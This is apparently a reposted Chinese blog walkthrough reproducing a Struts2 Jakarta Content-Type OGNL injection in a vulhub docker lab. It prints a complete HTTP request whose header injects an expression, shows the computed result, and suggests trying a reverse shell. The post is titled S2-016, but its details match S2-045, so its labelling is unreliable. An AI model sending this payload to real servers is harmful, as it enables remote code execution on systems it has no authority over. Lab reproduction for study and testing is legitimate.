我是靠谱客的博主 强健煎饼,最近开发中收集的这篇文章主要介绍S2-016 远程代码执行漏洞前言影响版本环境搭建漏洞复现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言

Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。并且jakarta默认是开启的

实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分

 

影响版本

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

环境搭建

使用vulhub和docker安装环境

cd vulhub/struts2/s2-045

docker-compose up -d

访问http://your-ip:8080即可看到上传页面。

漏洞复现

发送下面数据包

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

可见233*233已成功执行:得到了计算结果

Poc参考https://github.com/mazen160/struts-pwn

试试反弹shell

 

最后

以上就是强健煎饼为你收集整理的S2-016 远程代码执行漏洞前言影响版本环境搭建漏洞复现的全部内容,希望文章能够帮你解决S2-016 远程代码执行漏洞前言影响版本环境搭建漏洞复现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(57)

评论列表共有 0 条评论

立即
投稿
返回
顶部